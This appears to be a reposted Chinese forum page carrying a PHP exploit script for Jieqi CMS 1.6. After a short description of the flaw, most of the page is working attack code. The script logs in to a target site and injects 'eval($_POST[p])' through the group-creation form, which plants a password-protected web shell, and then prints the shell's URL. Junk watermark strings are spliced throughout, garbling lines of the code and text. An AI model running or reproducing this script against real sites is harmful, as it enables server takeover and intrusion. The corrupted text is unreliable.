杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。4 P) |: p' j0 _
9 |; A( h; @9 s: {4 }9 }" p
7 _( n- g) r2 U; L该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。9 d7 F5 `, t$ |7 {' [) K" q
需要有一个能创建圈子的用户。
, b2 N3 y) X3 ^- m" V6 ?5 P : ^. n8 N$ N' C/ I
<?php0 k0 k0 D2 z& }; g; F; ]3 T( L
2 R s! d8 \0 v% J5 Z F( c
print_r('
( J' ^$ N: @& Q+ F" \. |+---------------------------------------------------------------------------+
, T* S/ v# T* O1 G. }" I6 vJieqi CMS V1.6 PHP Code Injection Exploit
5 y7 L* I* I% V; \6 K+ Iby flyh4t! F' g( V6 p/ |( o8 X% n @3 y# y2 h4 R7 ]
mail: phpsec at hotmail dot com/ A3 |8 P) O; J2 g- Z8 ^' P5 p9 X
team: http://www.wolvez.org
1 l. n; P* Q0 l' Z; l* y4 W+---------------------------------------------------------------------------+
, N" k) {% R, |" Z2 S'); /**
4 ? \# _, y+ B- x- ^9 v$ H4 D4 [+ ` * works regardless of php.ini settings* s0 x8 N7 f) v4 [* Y, f! }
*/ if ($argc < 5) { print_r('
, }7 i4 c! X1 B+---------------------------------------------------------------------------+, A# ~+ f: H7 u$ K7 J$ w
Usage: php '.$argv[0].' host path username
X0 f" {. V% T; ~host: target server (ip/hostname)' ^/ Q9 A* g& Q, r% S
path: path to jieqicms
8 L7 N8 n# _5 i juasename: a username who can create group
[& H2 `! u7 }/ S6 k0 C. q" CExample:1 H: D" s1 F* O, m9 B
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password7 j( \8 z3 T3 M. } @4 P+ P
+---------------------------------------------------------------------------+' R1 Y' S5 D2 `& s3 p, A3 a
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
4 `; Q: s- u/ B# r7 R& t" ^Content-Disposition: form-data; name="gname"
5 j( ~# S! g v; {( I: y
: S* ^ a& e8 D* v; B$ w; @, b'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
: J6 L! ]4 M! o, I-----------------------------23281168279961
) H3 J( [% {+ Y1 HContent-Disposition: form-data; name="gcatid"
9 }% g* @7 |* d3 y9 ?. n3 K% c ' R \, d$ }) ?5 X- f& ~8 @1 G' P
17 H- f o4 [1 ]/ C7 q) Z, X6 ]
-----------------------------23281168279961
& q; ^, @, H7 K2 ?$ O4 W7 h! ?Content-Disposition: form-data; name="gaudit"# k) e. B8 h0 w' W. f$ E
& f9 W3 j, g' U% Q9 d' g
1
/ G: g8 _7 D. K! H* f$ e0 o-----------------------------232811682799617 M, L6 [4 p9 d4 O) ?. ~
Content-Disposition: form-data; name="gbrief"
; s; A- G# z9 _" K `. n, P8 M
. M& c( w& H/ D, D7 ]5 G0 {+ g) i14 s( d1 f; g4 |- L+ \- x3 v. G& V
-----------------------------23281168279961--
" v) u- O G- O1 H( ['; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
& X( S5 d2 }& _5 w. |% O$ z' Q
- A/ u- V9 A* ~3 k. ?preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |